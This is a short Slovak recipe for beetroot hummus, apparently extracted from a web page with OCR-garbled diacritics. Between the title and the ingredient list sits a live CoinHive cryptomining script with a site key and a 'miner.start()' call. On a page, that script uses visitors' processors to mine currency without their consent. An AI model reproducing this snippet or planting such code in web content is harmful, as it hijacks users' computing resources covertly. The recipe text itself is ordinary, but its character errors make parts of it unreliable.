Cviklovy humus

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 400 g cicerovej konzervy (bez nalevu), 2 stra€iky cesnaku, 3 PL Tahini pasty, 1
vacsiu uvarenu ¢ervenu cviklu (varime v Supke asi 1 hodinu), $tavu z 1 citréna, sol, olivovy olej

Postup: VSetky ingrediencie okrem olivového leja rozmixujeme dohladka, naloZzime do misky a
pokvapkame olivovym olejom.




